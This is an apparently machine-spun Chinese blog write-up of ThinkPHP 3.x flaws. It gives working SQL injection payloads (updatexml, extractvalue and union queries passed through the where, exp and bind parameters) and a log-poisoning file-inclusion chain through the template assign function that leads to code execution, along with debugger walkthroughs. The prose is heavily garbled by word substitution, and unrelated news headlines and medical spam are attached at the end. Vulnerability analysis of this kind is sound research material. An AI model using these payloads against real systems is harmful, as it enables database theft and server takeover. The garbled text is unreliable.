简记一次Tp3框架财务管理之旅
日期:2023年06月10日 来源:世界史
重构如下
echo I('get.id'); //等于$_GET['id']echo I('get.id',0); // 如果不不存在$_GET['id'] 则前往0echo I('get.name',''); // 如果不不存在$_GET['name'] 则前往飞表达式echo I('get.name','','htmlspecialchars'); // 采用htmlspecialchars法则对$_GET['name'] 透过漂白,如果不不存在则前往飞表达式M法则M法则运用于重构化一个根基数学模型类,M法则的命令行XML:
M('[根基数学模型名:]数学模型名','见下文前缀','文档通到电子邮件')重构如下
$User = M('User');#EOS$User = new Model('User');C法则C法则是ThinkPHP运用于设置、赚取,以及保留备有常量的法则。
$model = C('db_name','thinkphp');; //载入当前的URL种系统对备有常量$userType = C('USER_TYPE'); //赚取USER_TYPE常量的绝对值Bug量化SQL流向环境污染架设首先我们只能做一些备有。我们只能在本地mysql里面增建一个thinkphp文档运用于测试,然后在其里面增建一个users见下文,工具箱括id、username、passwd三个URL
紧接著我们只能让Tp与Mysql里面的文档透过接入。敞开ApplicationHomeConfconfig.php,读到入以下章节
'mysql', // 文档类别 'DB_HOST' => 'localhost', // 服务器重定向 'DB_NAME' => 'thinkphp', // 文档名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => 3306, // 客户端 'DB_PREFIX' => '', // 文档表前缀 'DB_CHARSET'=> 'utf8', // 字符集 'DB_DEBUG' => TRUE, // 文档试运行种系统对 敞开后可以记录SQL笔记 3.2.3可选);此时环境污染便架设好了。
where流向敞开/Application/Home/Controller/IndexController.class.php,填充章节如下
public function select() { $id = I('get.id'); $user = M('users'); $data = $user->find($id); var_dump($data); }此时先在I法则三处填充断点
紧接著我们读到入我们的表达式
[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1);还有 -到访之
然后开始单步试运行一开始都是绝句绝对值这种,右边不想到这里
可以辨认出有一个htmlspecialchars变数漂白,不过这个主要是针对XSS的,所以对SQL流向因素不大,接着看,到最后
可以辨认出这里的value就是我们读到入的表达式,即1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1);还有 -然后这里的话他漂白的关键词是
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }显而易见,漂白的仅仅,报错流向的updatexml和extractvalue,以及联合行动查看的union也仍未被漂白,所以这里也可以应运用于其他表达式,例如
[where]=1 and 1=extractvalue(1,concat(0x7e,user(),0x7e));还有 -都能应运用于联合行动查看
[where]=0 union select user(),2,3紧接著优化断点,将断点放入find三处,透过单步试运行
已向
可以不想到这里是判别数绝对值是不是为二进制表达式串或表达式,考虑到的话就走回if前提条件下的变数,不过看来得可以看得出我们这里是codice_(看一旁的options的绝对值为array(1)也可以辨认出),不举例来却说,所以实际上走回示意图。走回到这个
$pk = $this->getPk();已向
在上面辨认出$pk=id
紧接著之后往下走回
这里验了$pk是不是为codice_,因不举例来却说(此三处$pk='id'),所以实际上走回示意图
紧接著是填充limit=1,然后这个用了_parseOptions变数透过管控,已向此自定义变数
这里的话可以不想到有一个漂白的,但我们这里的话直观看一下就就会辨认出,这里前提条件仍未必考虑到,我们这里的where的绝对值是
0 union select user(),2,3所以这里的话就实际上pass,紧接著之后走回
这些就是一些查看表达式,然后将结果前往,紧接著到最后
这里转到parseWhere法则
我们这里的$where是表达式,所以走回if表达式,将$where的绝对值绝句给$whereStr
可以不想到这里是实际上前往了$whereStr,很难用漂白变数什么的管控,因此最后前往的仍是我们传入的
就其SQL章节如下
SELECT * FROM 人口为120人users人口为120人 WHERE 0 union select user(),2,3 LIMIT 1exp流向测试这个的话只能直观重写一下我们的select()法则,重写后章节如下
public function select() { $map =array('id'=>$_GET['id']); $user = M('users'); $data = $user->where($map)->find(); var_dump($data); }这里只能却概述一下,之所以不用I法则,是因为I法则里面不存在漂白,即think_filter变数,其章节如下
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }可以看得出这里漂白了exp,所以很难实际上用I法则来读到,紧接著我们到访网页,读到入如下payload
[0]=expBellid[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)同时敞开试运行,单步已向
这里的话我们的where是codice_,所以前提条件不考虑到,实际上pass,第二个if反之亦然,然后第三个的话,我们这里仍未有对optinos[where]透过绝句绝对值,所以就就会走回else,把$where的绝对值绝句给他,接着看
到find法则这里,第一个if表达式,我们这里$options为codice_,所以实际上pass,第二个if表达式,我们的$pk绝对值为id,而非codice_,所以也pass,到示意图跟早先一样,常量被变数_parseOptions工具箱裹,紧接著已向这个变数
这里有一个URL类别实验者的,我们可以不想到这个是举例来却说的,所以他就会转到示意图这个变数,我们首先这个表达式
if(is_scalar($val)) {这里的is_scalar是验数组是不是为也就是说,什么是也就是说,官方文档如下
我们这里的$val数组绝对值如下
是Array,因此不就会转到这个if表达式,即不就会转到_parseType法则,这里实际上pass,接着看示意图
第一个是执行查看表达式前往结果的,第二个是前往可不编译的表达式,之后已向
我们这里用了where,已向parseWhere法则
可以不想到这里是拼凑,之后往下看
最后前往的是拼凑的结果,紧接著走回到最后,想得到SQL表达式
如下
SELECT * FROM 人口为120人users人口为120人 WHERE 人口为120人id人口为120人 =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1bind流向越来越改章节如下
public function select() { $User = M("users"); $user['id'] = I('id'); $data['passwd'] = I('passwd'); $valu = $User->where($user)->save($data); var_dump($valu); }payload如下
[0]=bindBellid[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)Bellpasswd=1紧接著敞开xdebug,然后到访
这里与早先相近,因为是codice_,所以让前三个if表达式,实际上到
if(isset($this->options['where']))这里,因为很难设置这个options['where'],所以走回示意图,将$where的绝对值绝句给他,然后将绝对值前往,紧接著之后看
我们这里的data是一个codice_,是有绝对值的,所以
if(empty($data))这个不举例来却说,实际上看示意图,可以不想到这里有_facade对data透过了管控,已向这个变数
可以不想到这里后于验了是不是有fields是不是为飞,然后转到
if(!empty($this->options['field'])) {因为这里仍未必不存在options['field'],所以实际上pass,走回else那里,就此fields绝对值绝句给这里的fields,紧接著是foreach表达式
因为$data里面的passwd在fields里面,所以走回示意图,即elseif那里这里的$var为1是也就是说,所以举例来却说,紧接著data被_parseType变数管控,已向这个变数
可以辨认出这里就是对章节透过了intval管控,只不过因素,之后已向
这里的话是应运用于了filter变数对章节透过了一次漂白,已向
紧接著到_parseOptions变数
紧接著这里以为$val是codice_,应运用于不就会转到_parseType法则,出来该法则后,到这里
已向update法则
辨认出有parseSet法则,已向此法则
可以不想到这里拼凑了=:,此时的SQL表达式为
UPDATE 人口为120人users人口为120人 SET 人口为120人passwd人口为120人=:0紧接著转到parseWhereItem法则
这里可以看得出当$exp=bind时,$whereStr是柔性的,而后想得到拼凑后的表达式,此时的SQL
"UPDATE 人口为120人users人口为120人 SET 人口为120人passwd人口为120人=:0 WHERE 人口为120人id人口为120人 = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)"紧接著到execute执行变数这里
重点在于这里
if(!empty($this->bind)){ $that = $this; $this->queryStr = ($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind)); }这个strtr变数在这里的话就是发挥替换成作用,比如我们这里,我们传入的是0(payload里面的id[1]=0),那么这里就就会拼凑演变成:0,而这个strtr变数将其替换成为1
此时也就想得到了我们最后的SQL表达式
"UPDATE 人口为120人users人口为120人 SET 人口为120人passwd人口为120人='1' WHERE 人口为120人id人口为120人 = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)"命令执行环境污染架设环境污染备有,我们首先只能在ApplicationHomeController增建一个机密文件,用早先SQL流向的都能,这里就用早先的了,重写机密文件章节如下
assign($value); $this->display(); }}因为该Bug利用的assign变数只能示例渲染,所以只能增建一个示例机密文件,示例机密文件右边如下
ThinkPHPApplicationHomeViewIndexindex.html #章节随意这里还只能却概述的是,笔记和debug的关系
若敞开debug种系统对笔记就会到:ApplicationRuntimeLogsHome下若仍未敞开debug种系统对笔记就会到:ApplicationRuntimeLogsCommon下
紧接著开始复现一下,首先我们创建log机密文件
/ThinkPHP/index.php?m=;还有>紧接著去涉及联log机密文件(这里log的机密UTF-与年月日涉及)[_filename]=./Application/Runtime/Logs/Common/23_01_18.log Bug量化这里之所以不存在Bug,其原因是
由于在其业务编译器里面如果对示例绝句绝对值法则assign的第一个常量柔性,则造成了示例偏移数组被伸展为携带攻击编译器偏移,引致机密文件涉及联,编译器执行等危害。
紧接著我们在变数三处打上断点
而后到访
[_filename]=./Application/Runtime/Logs/Common/23_01_18.log开始单步试运行
首先来到这个assign变数,这里的name是codice_,其章节为我们的笔记机密文件,可以不想到这个变数里用了另一个assign变数来管控数组,已向
这里判别$name是不是为codice_,我们的$name为codice_,所以转到if表达式,这里的array_merge是新设codice_的,但这里$this->tvar为飞,所以这里的话实际上就是$this->tVar=$name,就此name数组的绝对值绝句给了$tVar
之后已向
紧接著到display变数
则有个相似,这里是用了另一个同名变数来管控数组,已向
我们这里示例章节为飞,不想到这里有fetch变数,已向
首先判别了示例机密文件是不是不存在
而后验应运用于的是不是是PHP原生示例,系统对备有的预设动力系统对是Think,所以这里走回else
这里可以不想到将$this->tVar的绝对值绝句给了$params,而后转到了listen变数,已向此变数
辨认出这里经过一些判别后转到了exec变数,已向此变数
可以辨认出这里是命令行BehaviorParseTemplateBehavior类里面的run法则管控$params,我们已向run法则,寻找哪里对笔记机密文件偏移透过了管控,最后找到ThinkPHPLibraryThinkTemplate.class.php机密文件下的fetch法则
loadTemplate变数是载入机密文件偏移的,而后这里用load变数对其透过了管控,我们已向此变数
$_filename是早先赚取到的的多线程机密文件偏移,$vars是带有数组_filename的codice_,这里的$vars不为飞,因此应运用于extract法则的EXTR_OVERWRITE预设描述对数组绝对值透过伸展。最后include笔记机密文件偏移,引致机密文件涉及联,最后造成了涉及联机密文件引致RCE。
参考资料重定向from
。吃冷饮拉肚子怎么办眼睛痒怎么办
扬州包皮过长治疗哪家好
岳阳男科医院哪家医院好
应急救护
- [春秋战国] 夜场监测|上周西安7个项目夜场 最高去化率100% 最低去化仅1成
- [夏商西周] CCTV5关于釜山世乒赛的报道,明天9点中国女团对战尼泊尔
- [两晋隋唐] 小村庄多年来遇恶劣天气便停电,南郑供电公司被通报已在改造
- [历史解密] 北京昌平公布21宗西南角规划 其中2宗宅地占地面积为3.07公顷
- [世界史] 近20年团体世乒赛,谁对国乒的威胁最大?张本排第二 第一竟无非议
- [清史民国] 【广东】佛山市南海美嘉城制品有限公司生产销售不合格产品冒充合格产品被处罚
- [历史人物] 河北隆泰旧楼,一家国企为何投诉这么多
- [夏商西周] "马龙能量条爆满,樊振东冷气釜山世乒赛展现团队精神"
- [秦汉三国] 【广东佛山】顺德区勒流洁丹百货店业务超过保质期的食品被罚款2000元
- [清史民国] 筑巢引凤再加速,武汉金湾提前完成四幅土地收储